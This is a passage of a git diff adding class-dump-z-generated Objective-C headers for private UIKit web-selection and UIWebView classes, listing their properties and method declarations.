0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UILongPressGestureRecognizer.h" + +@class UIWebDocumentView; + +__attribute__((visibility("hidden"))) +@interface UIWebLongPressInSelectableRecognizer : UILongPressGestureRecognizer { +@private + UIWebDocumentView* _documentView; +} +@property(assign, nonatomic) UIWebDocumentView* documentView; +-(void)setState:(int)state; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebSelection.h b/igor/headers/dumpedUIKit/UIWebSelection.h new file mode 100644 index 0000000..eda531f --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebSelection.h @@ -0,0 +1,65 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class DOMRange, UIWebDocumentView; +@protocol UIWebSelectionBlock; + +__attribute__((visibility("hidden"))) +@interface UIWebSelection : NSObject { +@private + UIWebDocumentView* _documentView; + id _base; + id _extent; + CGSize _desiredSize; + DOMRange* _textSelection; +} +@property(readonly, assign, nonatomic) UIWebDocumentView* documentView; +@property(retain, nonatomic) id base; +@property(retain, nonatomic) id extent; +@property(retain, nonatomic) DOMRange* textSelection; +@property(assign, nonatomic) CGSize desiredSize; +@property(readonly, assign, nonatomic) CGRect boundingRect; +@property(readonly, assign, nonatomic, getter=isTextOnly) BOOL textOnly; +@property(readonly, assign, nonatomic) BOOL valid; +-(id)initWithDocumentView:(id)documentView; +-(void)dealloc; +-(void)setSelectionWithPoint:(CGPoint)point; +-(id)webView; +-(id)webFrame; +-(id)domDocument; +-(CGPoint)convertPoint:(CGPoint)point toFrame:(id)frame; +-(CGPoint)convertPoint:(CGPoint)point fromFrame:(id)frame; +-(CGRect)convertRect:(CGRect)rect toFrame:(id)frame; +-(CGRect)convertRect:(CGRect)rect fromFrame:(id)frame; +-(id)textRepresentation; +-(id)webArchive; +-(void)adjustSelectionFromPoint:(CGPoint)point towardsPoint:(CGPoint)point2 withNewRect:(CGRect)newRect; +-(id)blockAtPoint:(CGPoint)point; +-(id)elementAtPoint:(CGPoint)point; +-(id)blockOfSameWidthAtPoint:(CGPoint)point; +-(float)distanceBetweenFirstRect:(CGRect)rect second:(CGRect)second edge:(int)edge; +-(void)growFromEdge:(int)edge; +-(void)shrinkFromEdge:(int)edge; +-(BOOL)isEqual:(id)equal; +-(void)moveEdge:(int)edge outwards:(BOOL)outwards; +-(void)growSelectionTowardsPoint:(CGPoint)point; +-(BOOL)tryToShrinkToBaseAndExtent; +-(void)shrinkSelectionFromPoint:(CGPoint)point towardsPoint:(CGPoint)point2 withNewRect:(CGRect)newRect; +-(id)getCopy; +-(void)useBlock; +-(id)textSelectionRects; +-(CGRect)boundingTextSelectionRect; +-(void)selectionChanged; +-(id)asDomRange; +-(void)applySelectionToWebDocumentView; +-(id)description; +-(BOOL)isEqualToSelection:(id)selection; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebSelectionAssistant.h b/igor/headers/dumpedUIKit/UIWebSelectionAssistant.h new file mode 100644 index 0000000..b920b3a --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebSelectionAssistant.h @@ -0,0 +1,39 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class UIWebDocumentView, UIWebSelectionView, UIWebSelection; + +__attribute__((visibility("hidden"))) +@interface UIWebSelectionAssistant : NSObject { +@private + UIWebDocumentView* _webView; + UIWebSelectionView* _tintView; + BOOL _enabled; +} +@property(assign, nonatomic) BOOL enabled; +@property(readonly, assign, nonatomic) CGRect selectionFrame; +@property(readonly, assign, nonatomic) UIWebSelection* selection; +-(id)initWithWebView:(id)webView; +-(void)dealloc; +-(void)setGestureRecognizers; +-(void)selectionChanged; +-(void)longPress:(id)press; +-(void)tap:(id)tap; +-(void)scaleChanged; +-(id)hitTest:(CGPoint)test withEvent:(id)event fromView:(id)view; +-(void)willDrag; +-(void)doneDragging; +-(void)resignedFirstResponder; +-(void)hideCallout; +-(void)layoutChanged; +-(void)willRotate:(id)rotate; +-(void)didRotate:(id)rotate; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebSelectionBlock.h b/igor/headers/dumpedUIKit/UIWebSelectionBlock.h new file mode 100644 index 0000000..53bd999 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebSelectionBlock.h @@ -0,0 +1,29 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSObject.h" + + +@protocol UIWebSelectionBlock +-(id)webFrame; +-(CGRect)boundingRect; +-(id)parentBlock; +-(id)largerParent; +-(BOOL)isSameBlock:(id)block; +-(BOOL)containsBlock:(id)block; +-(BOOL)strictlyContainsBlock:(id)block; +-(BOOL)rendersAsBlock; +-(BOOL)selectable; +-(id)asDomNode; +-(id)asDomRange; +-(BOOL)containsRange:(id)range; +-(BOOL)canShrinkDirectlyToTextOnly; +-(id)rangeOfContents; +-(id)enclosingDocument; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebSelectionGraph.h b/igor/headers/dumpedUIKit/UIWebSelectionGraph.h new file mode 100644 index 0000000..1b33aa5 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebSelectionGraph.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSMutableArray; + +__attribute__((visibility("hidden"))) +@interface UIWebSelectionGraph : NSObject { +@private + NSMutableArray* _selectionNodes; +} +-(id)init; +-(void)dealloc; +-(void)clearNodes; +-(id)addNodeFromSelection:(id)selection; +-(void)exploreFromNode:(id)node outwards:(BOOL)outwards maxDepth:(int)depth; +-(void)exploreFromNode:(id)node; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebSelectionHandle.h b/igor/headers/dumpedUIKit/UIWebSelectionHandle.h new file mode 100644 index 0000000..3424288 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebSelectionHandle.h @@ -0,0 +1,45 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UITouch, UIImageView, UIWebSelectionView; + +__attribute__((visibility("hidden"))) +@interface UIWebSelectionHandle : UIView { +@private + UITouch* _touch; + UIImageView* _dragDotView; + int _position; + int _textPosition; + UIWebSelectionView* _tintView; + CGSize _touchToCenterOffset; + CGSize _centerToSelectionPointOffset; +} +@property(assign, nonatomic) int position; +@property(retain, nonatomic) UITouch* touch; +@property(readonly, assign, nonatomic) CGSize touchToCenterOffset; +@property(assign, nonatomic) CGSize centerToSelectionPointOffset; +@property(readonly, assign, nonatomic) BOOL hasTextPosition; +@property(assign, nonatomic) int textPosition; +-(id)initWithPosition:(int)position tintView:(id)view; +-(void)dealloc; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(void)dropActiveTouch; +-(BOOL)pointInside:(CGPoint)inside withEvent:(id)event; +-(CGPoint)applyTouchToCenterOffset:(CGPoint)centerOffset; +-(CGPoint)applyCenterToSelectionPointOffset:(CGPoint)selectionPointOffset; +-(CGPoint)applyOffsetInDirectionOfHandle:(float)handle toPoint:(CGPoint)point; +-(float)offsetInDirectionOfHandleFromFirstPoint:(CGPoint)firstPoint toSecondPoint:(CGPoint)secondPoint; +-(void)snapToCornerOfRange:(id)range atStart:(BOOL)start; +-(CGPoint)suggestedHandlePositionOnRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebSelectionNode.h b/igor/headers/dumpedUIKit/UIWebSelectionNode.h new file mode 100644 index 0000000..20bc633 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebSelectionNode.h @@ -0,0 +1,35 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UIWebSelectionGraph, UIWebSelection; + +__attribute__((visibility("hidden"))) +@interface UIWebSelectionNode : NSObject { +@private + UIWebSelectionNode* _fromTopByExpanding; + UIWebSelectionNode* _fromTopByContracting; + UIWebSelectionNode* _fromBottomByExpanding; + UIWebSelectionNode* _fromBottomByContracting; + UIWebSelectionNode* _fromRightByExpanding; + UIWebSelectionNode* _fromRightByContracting; + UIWebSelectionNode* _fromLeftByExpanding; + UIWebSelectionNode* _fromLeftByContracting; + UIWebSelectionGraph* _sharedGraph; + UIWebSelection* _selection; + BOOL _invalid; +} +@property(retain) UIWebSelection* selection; +-(id)initWithSelection:(id)selection inGraph:(id)graph; +-(void)dealloc; +-(id*)nodeByReferenceFromEdge:(int)edge outwards:(BOOL)outwards; +-(int)oppositeEdge:(int)edge; +-(id)nodeByMovingEdge:(int)edge outwards:(BOOL)outwards; +-(void)invalidate; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebSelectionOutline.h b/igor/headers/dumpedUIKit/UIWebSelectionOutline.h new file mode 100644 index 0000000..d7621a1 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebSelectionOutline.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UIWebSelectionOutline : UIView { +@private + UIView* _lineViews[4]; +} +-(id)initWithFrame:(CGRect)frame; +-(void)setFrame:(CGRect)frame; +-(void)layoutSubviews; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebSelectionView.h b/igor/headers/dumpedUIKit/UIWebSelectionView.h new file mode 100644 index 0000000..c144d48 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebSelectionView.h @@ -0,0 +1,108 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" + +@class UIWebDocumentView, UIWebSelectionGraph, UIWebSelectionNode, UIWebTextRangeView, NSTimer, UIWebSelectionOutline, UIWebSelectionHandle, UIWebSelection; + +__attribute__((visibility("hidden"))) +@interface UIWebSelectionView : UIView { +@private + UIView* _center; + CGRect _selectionFrame; + UIWebSelectionHandle* _top; + UIWebSelectionHandle* _right; + UIWebSelectionHandle* _bottom; + UIWebSelectionHandle* _left; + UIWebSelectionOutline* _outline; + UIWebTextRangeView* _textRangeView; + UIWebDocumentView* _documentView; + UIWebSelectionNode* _selectionNode; + UIWebSelectionGraph* _selectionGraph; + float _growThreshold; + float _shrinkThreshold; + struct { + UIWebSelectionHandle* scrollingHandle; + double startTime; + int direction; + NSTimer* timer; + } _autoscrollData; + struct { + UIWebSelectionHandle* activeHandle; + CGPoint handleCenterStart; + float handleOffset; + } _blockSelectionData; + struct { + UIWebSelectionHandle* start; + UIWebSelectionHandle* end; + CGSize startingOffset; + BOOL anchorAtStart; + struct { + BOOL flipPossible; + BOOL rectsChanged; + CGRect originalSelectionRect; + } flipData; + } _rangedSelectionData; + BOOL _creatingSelection; + int _nestedLayoutCalls; +} +@property(retain, nonatomic) UIWebSelectionNode* selectionNode; +@property(assign, nonatomic) CGRect selectionFrame; +@property(readonly, assign, nonatomic) UIWebSelection* selection; +-(id)tintView; +-(id)handleWithPosition:(int)position; +-(id)initWithWebDocumentView:(id)webDocumentView; +-(void)dealloc; +-(void)hideCopyCallout; +-(void)showCopyCallout; +-(void)calloutBar:(id)bar selectedCommand:(id)command; +-(void)showControls; +-(void)hideControls; +-(void)setHandleCenters; +-(void)updateFrameAndHandles; +-(void)setSelectionFrame:(CGRect)frame animated:(BOOL)animated; +-(void)resetSelection; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(id)handles; +-(void)touchChanged:(id)changed forHandle:(id)handle; +-(void)touchChanged:(id)changed forHandleInText:(id)text; +-(BOOL)shouldSwitchToBlockModeForHandle:(id)handle; +-(void)switchToBlockModeForHandle:(id)handle; +-(void)switchToTextModeForHandle:(id)handle; +-(void)considerFlipping; +-(BOOL)canFlip; +-(void)computeExpandAndContractThresholdsForActiveHandle; +-(BOOL)shouldExpandForActiveHandle; +-(BOOL)shouldContractForActiveHandle; +-(void)expandForActiveHandle; +-(void)contractForActiveHandle; +-(int)autoscrollDirectionsForHandle:(id)handle; +-(void)updateAutoscrollForHandle:(id)handle; +-(void)_didScroll; +-(void)_subscribeToScrollNotificationsIfNecessary:(id)scrollNotificationsIfNecessary; +-(void)autoscrollTimerFired:(id)fired; +-(void)stopAnyAutoscrolling; +-(void)shiftWebRangeSelectionAnimationDidStop:(id)shiftWebRangeSelectionAnimation finished:(id)finished; +-(void)animateSloppyReleaseOfHandleInText:(id)text withMagnifier:(id)magnifier; +-(CGRect)desiredBox; +-(void)removeFromSuperview; +-(void)selectionChanged; +-(id)nodeInPristineGraphAtPoint:(CGPoint)point; +-(void)startSelectionCreationWithPoint:(CGPoint)point; +-(void)updateSelectionCreationWithPoint:(CGPoint)point; +-(void)endSelectionCreationWithPoint:(CGPoint)point; +-(void)clearSelection; +-(void)scaleChanged; +-(id)activeHandle; +-(BOOL)activelyManipulatingTextSelectionHandle; +-(BOOL)activelyManipulatingBlockSelectionHandle; +-(void)updateForChangedLayoutWhileManipulatingTextSelectionHandle; +-(void)updateForChangedLayoutWhileManipulatingBlockSelectionHandle; +-(void)layoutChanged; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebTextRangeView.h b/igor/headers/dumpedUIKit/UIWebTextRangeView.h new file mode 100644 index 0000000..614a553 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebTextRangeView.h @@ -0,0 +1,45 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" + +@class UIWebDragDotView, NSArray, NSMutableArray; +@protocol UITextSelectingContainer, UIWebTextRangeViewController; + +__attribute__((visibility("hidden"))) +@interface UIWebTextRangeView : UIView { +@private + UIView* m_container; + NSArray* _rects; + NSMutableArray* _rectViews; + UIWebDragDotView* _topDot; + UIWebDragDotView* _bottomDot; + BOOL _magnifying; + id _controller; +} +@property(copy, nonatomic) NSArray* rects; +@property(assign, nonatomic) id controller; +@property(readonly, assign, nonatomic) UIView* container; +-(id)initWithFrame:(CGRect)frame textContainer:(id)container; +-(void)dealloc; +-(void)removeFromSuperview; +-(CGRect)rectAtIndex:(int)index; +-(id)rectViewAtIndex:(int)index; +-(CGRect)boundingRect; +-(void)updateDragDots; +-(void)updateRectViews; +-(CGRect)startEdge; +-(CGRect)endEdge; +-(CGPoint)startCorner; +-(CGPoint)endCorner; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(void)prepareForMagnification; +-(void)doneMagnifying; +-(void)geometryChanged; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebTiledView.h b/igor/headers/dumpedUIKit/UIWebTiledView.h new file mode 100644 index 0000000..7b5e365 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebTiledView.h @@ -0,0 +1,60 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class WAKWindow; + +@interface UIWebTiledView : UIView { + WAKWindow* _wakWindow; + int _inGestureType; + int _tilingArea; + BOOL _didFirstTileLayout; + BOOL _layoutTilesInMainThread; +} +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(WKWindow*)wkWindow; +-(void)flushDirtyRects; +-(void)layoutBeforeDraw; +-(CGRect)visibleRect; +-(void)layoutTilesNow; +-(void)layoutSubviews; +-(void)updateTilingMode; +-(void)setInGesture:(int)gesture; +-(void)setTilingArea:(int)area; +-(int)tilingArea; +-(void)setNeedsLayout; +-(void)_didScroll; +-(void)setNeedsDisplayInRect:(CGRect)rect; +-(void)setNeedsDisplay; +-(void)setTransform:(CGAffineTransform)transform; +-(void)setTileSize:(CGSize)size; +-(CGSize)tileSize; +-(void)setDrawsGrid:(BOOL)grid; +-(BOOL)drawsGrid; +-(void)setMaxTileCount:(unsigned)count; +-(unsigned)maxTileCount; +-(unsigned)adjustedMaxTileCount; +-(void)setTilingEnabled:(BOOL)enabled; +-(BOOL)isTilingEnabled; +-(void)setLogsTilingChanges:(BOOL)changes; +-(BOOL)logsTilingChanges; +-(void)ensureDrawnRect:(CGRect)rect; +-(void)setFirstTileSize:(CGSize)size; +-(void)setTileDrawingEnabled:(BOOL)enabled; +-(BOOL)tileDrawingEnabled; +-(void)setTileMinificationFilter:(id)filter; +-(void)setTilesOpaque:(BOOL)opaque; +-(BOOL)tilesOpaque; +-(void)removeAllNonVisibleTiles; +-(void)removeAllTiles; +-(BOOL)layoutTilesInMainThread; +-(void)setLayoutTilesInMainThread:(BOOL)mainThread; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebURLAction.h b/igor/headers/dumpedUIKit/UIWebURLAction.h new file mode 100644 index 0000000..49b024c --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebURLAction.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +__attribute__((visibility("hidden"))) +@interface UIWebURLAction : NSObject { +} ++(id)sharedInstance; ++(BOOL)performDefaultActionForURL:(id)url withAllowedTypes:(unsigned)allowedTypes inFrame:(id)frame; ++(id)actionSheeForURL:(id)url withAllowedTypes:(unsigned)allowedTypes inFrame:(id)frame; ++(BOOL)performActionWithTag:(int)tag forURL:(id)url withAllowedTypes:(unsigned)allowedTypes forFrame:(id)frame inView:(id)view interactionDelegate:(id)delegate; ++(BOOL)shouldImmediatelyShowActionSheetForURL:(id)url; +-(void)dealloc; +-(BOOL)performDefaultActionForURL:(id)url withAllowedTypes:(unsigned)allowedTypes inFrame:(id)frame; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebView.h b/igor/headers/dumpedUIKit/UIWebView.h new file mode 100644 index 0000000..2123801 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebView.h @@ -0,0 +1,100 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UIWebView.h" + +@class UIWebViewInternal, NSURLRequest; +@protocol UIWebViewDelegate; + +@interface UIWebView : UIView { +@private + UIWebViewInternal* _internal; +} +@property(assign, nonatomic) unsigned dataDetectorTypes; +@property(assign, nonatomic) BOOL detectsPhoneNumbers; +@property(assign, nonatomic) BOOL scalesPageToFit; +@property(readonly, assign, nonatomic, getter=isLoading) BOOL loading; +@property(readonly, assign, nonatomic, getter=canGoForward) BOOL canGoForward; +@property(readonly, assign, nonatomic, getter=canGoBack) BOOL canGoBack; +@property(readonly, retain, nonatomic) NSURLRequest* request; +@property(assign, nonatomic) id delegate; +-(void)_setScalesPageToFitViewportSettings; +-(void)_setRichTextReaderViewportSettings; +-(void)_updateViewSettings; +-(id)_buildVersion; +-(void)_webViewCommonInit:(BOOL)init; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(id)stringByEvaluatingJavaScriptFromString:(id)string; +-(void)loadRequest:(id)request; +-(void)loadHTMLString:(id)string baseURL:(id)url; +-(void)loadData:(id)data MIMEType:(id)type textEncodingName:(id)name baseURL:(id)url; +-(void)reload; +-(void)stopLoading; +-(void)goBack; +-(void)goForward; +-(void)setScale:(float)scale; +-(float)scale; +-(void)_updateCheckeredPattern; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)_frameOrBoundsChanged; +-(void)setFrame:(CGRect)frame; +-(void)setBounds:(CGRect)bounds; +-(void)_updateOpaqueAndBackgroundColor; +-(void)setOpaque:(BOOL)opaque; +-(void)setBackgroundColor:(id)color; +-(void)view:(id)view didSetFrame:(CGRect)frame oldFrame:(CGRect)frame3; +-(void)willStartGesturesInView:(id)view forEvent:(GSEventRef)event; +-(void)didFinishGesturesInView:(id)view forEvent:(GSEventRef)event; +-(void)scrollerWillStartDragging:(id)scroller; +-(void)scrollerDidEndDragging:(id)scroller willSmoothScroll:(BOOL)scroll; +-(void)scrollerDidEndSmoothScrolling:(id)scroller; +-(void)_reportError:(id)error; +-(void)webView:(id)view decidePolicyForNewWindowAction:(id)newWindowAction request:(id)request newFrameName:(id)name decisionListener:(id)listener; +-(void)webView:(id)view decidePolicyForNavigationAction:(id)navigationAction request:(id)request frame:(id)frame decisionListener:(id)listener; +-(void)webView:(id)view decidePolicyForMIMEType:(id)mimetype request:(id)request frame:(id)frame decisionListener:(id)listener; +-(void)webView:(id)view unableToImplementPolicyWithError:(id)error frame:(id)frame; +-(void)webView:(id)view frame:(id)frame exceededDatabaseQuotaForSecurityOrigin:(id)securityOrigin database:(id)database; +-(void)_updateRequest; +-(void)webView:(id)view didStartProvisionalLoadForFrame:(id)frame; +-(void)webView:(id)view didCommitLoadForFrame:(id)frame; +-(void)webView:(id)view didReceiveServerRedirectForProvisionalLoadForFrame:(id)frame; +-(void)webView:(id)view didFailProvisionalLoadWithError:(id)error forFrame:(id)frame; +-(void)webView:(id)view didFinishLoadForFrame:(id)frame; +-(void)webView:(id)view didFailLoadWithError:(id)error forFrame:(id)frame; +-(void)webView:(id)view didFirstLayoutInFrame:(id)frame; +-(void)modalView:(id)view didDismissWithButtonIndex:(int)buttonIndex; +-(void)webView:(id)view runJavaScriptAlertPanelWithMessage:(id)message initiatedByFrame:(id)frame; +-(BOOL)webView:(id)view runJavaScriptConfirmPanelWithMessage:(id)message initiatedByFrame:(id)frame; +-(id)webView:(id)view runJavaScriptTextInputPanelWithPrompt:(id)prompt defaultText:(id)text initiatedByFrame:(id)frame; +-(BOOL)webView:(id)view frame:(id)frame requestGeolocationPermissionForSecurityOrigin:(id)securityOrigin shouldClearCache:(BOOL)cache; +-(id)webView:(id)view identifierForInitialRequest:(id)initialRequest fromDataSource:(id)dataSource; +-(void)webView:(id)view resource:(id)resource didFinishLoadingFromDataSource:(id)dataSource; +-(void)webView:(id)view resource:(id)resource didFailLoadingWithError:(id)error fromDataSource:(id)dataSource; +-(void)webView:(id)view resource:(id)resource didReceiveAuthenticationChallenge:(id)challenge fromDataSource:(id)dataSource; +-(void)webView:(id)view resource:(id)resource didCancelAuthenticationChallenge:(id)challenge fromDataSource:(id)dataSource; +-(CGImageRef)createSnapshotWithRect:(CGRect)rect; +-(void)saveGeolocation:(id)geolocation; +-(id)_documentView; +-(id)_scroller; +-(void)_setDrawsCheckeredPattern:(BOOL)pattern; +-(void)_setWebSelectionEnabled:(BOOL)enabled; +-(void)_setDrawInWebThread:(BOOL)webThread; +-(void)_setAllowsPopUps:(BOOL)ups; +-(BOOL)_allowsPopUps; +@end + +@interface UIWebView (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebViewInternal.h b/igor/headers/dumpedUIKit/UIWebViewInternal.h new file mode 100644 index 0000000..7f461af --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebViewInternal.h @@ -0,0 +1,37 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIFormAssistantDelegate.h" + +@class UIWebViewWebViewDelegate, UIScroller, UIWebDocumentView, NSURLRequest, UICheckeredPatternView; +@protocol UIWebViewDelegate; + +__attribute__((visibility("hidden"))) +@interface UIWebViewInternal : NSObject { +@private + UIScroller* scroller; + UIWebDocumentView* documentView; + UICheckeredPatternView* checkeredPatternView; + id delegate; + unsigned scalesPageToFit : 1; + unsigned isLoading : 1; + unsigned drawsCheckeredPattern : 1; + unsigned usedGeolocation : 1; + unsigned webSelectionEnabled : 1; + unsigned drawInWebThread : 1; + unsigned allowsPopUps : 1; + NSURLRequest* request; + int clickedAlertButtonIndex; + UIWebViewWebViewDelegate* webViewDelegate; +} +-(void)_updateScrollerIndicatorSubrectForEditingForms:(BOOL)editingForms; +-(void)_updateScrollerContentSize:(BOOL)size; +-(void)formAssistant:(id)assistant didBeginEditingFormNode:(id)node; +-(void)formAssistant:(id)assistant didEndEditingFormNode:(id)node; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebViewLabel.h b/igor/headers/dumpedUIKit/UIWebViewLabel.h new file mode 100644 index 0000000..312fe3b --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebViewLabel.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIHighlightView, UILabel; + +__attribute__((visibility("hidden"))) +@interface UIWebViewLabel : UIView { +@private + UILabel* _label; + UIHighlightView* _highlight; +} +-(id)initWithFrame:(CGRect)frame; +-(void)sizeToFit; +-(void)setText:(id)text; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebViewWebViewDelegate.h b/igor/headers/dumpedUIKit/UIWebViewWebViewDelegate.h new file mode 100644 index 0000000..bc423fa --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebViewWebViewDelegate.h @@ -0,0 +1,43 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UIWebView; + +__attribute__((visibility("hidden"))) +@interface UIWebViewWebViewDelegate : NSObject { +@private + UIWebView* uiWebView; +} +-(id)initWithUIWebView:(id)uiwebView; +-(id)webView:(id)view createWebViewWithRequest:(id)request userGesture:(BOOL)gesture; +-(id)webView:(id)view createWebViewWithRequest:(id)request; +-(void)webView:(id)view decidePolicyForNewWindowAction:(id)newWindowAction request:(id)request newFrameName:(id)name decisionListener:(id)listener; +-(void)webView:(id)view decidePolicyForNavigationAction:(id)navigationAction request:(id)request frame:(id)frame decisionListener:(id)listener; +-(void)webView:(id)view unableToImplementPolicyWithError:(id)error frame:(id)frame; +-(void)webView:(id)view frame:(id)frame exceededDatabaseQuotaForSecurityOrigin:(id)securityOrigin database:(id)database; +-(void)webView:(id)view didStartProvisionalLoadForFrame:(id)frame; +-(void)webView:(id)view didCommitLoadForFrame:(id)frame; +-(void)webView:(id)view didReceiveServerRedirectForProvisionalLoadForFrame:(id)frame; +-(void)webView:(id)view didFailProvisionalLoadWithError:(id)error forFrame:(id)frame; +-(void)webView:(id)view decidePolicyForMIMEType:(id)mimetype request:(id)request frame:(id)frame decisionListener:(id)listener; +-(void)webView:(id)view didFinishLoadForFrame:(id)frame; +-(void)webView:(id)view didFailLoadWithError:(id)error forFrame:(id)frame; +-(void)webView:(id)view didFirstLayoutInFrame:(id)frame; +-(void)webView:(id)view runJavaScriptAlertPanelWithMessage:(id)message initiatedByFrame:(id)frame; +-(BOOL)webView:(id)view runJavaScriptConfirmPanelWithMessage:(id)message initiatedByFrame:(id)frame; +-(id)webView:(id)view runJavaScriptTextInputPanelWithPrompt:(id)prompt defaultText:(id)text initiatedByFrame:(id)frame; +-(BOOL)webView:(id)view frame:(id)frame requestGeolocationPermissionForSecurityOrigin:(id)securityOrigin shouldClearCache:(BOOL)cache; +-(id)webView:(id)view identifierForInitialRequest:(id)initialRequest fromDataSource:(id)dataSource; +-(void)webView:(id)view resource:(id)resource didFinishLoadingFromDataSource:(id)dataSource; +-(void)webView:(id)view resource:(id)resource didFailLoadingWithError:(id)error fromDataSource:(id)dataSource; +-(void)webView:(id)view resource:(id)resource didReceiveAuthenticationChallenge:(id)challenge fromDataSource:(id)dataSource; +-(void)webView:(id)view resource:(id)resource didCancelAuthenticationChallenge:(id)challenge fromDataSource:(id)dataSource; +-(void)_clearUIWebView; +@end + diff --git a/igor/headers/dumpedUIKit/UIWeekMonthDayTableCell.h b/igor/headers/dumpedUIKit/UIWeekMonthDayTableCell.h new file mode 100644 index 0000000..09e9b4d --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWeekMonthDayTableCell.h @@ -0,0 +1,31 @@ +/** + * This header is generated by 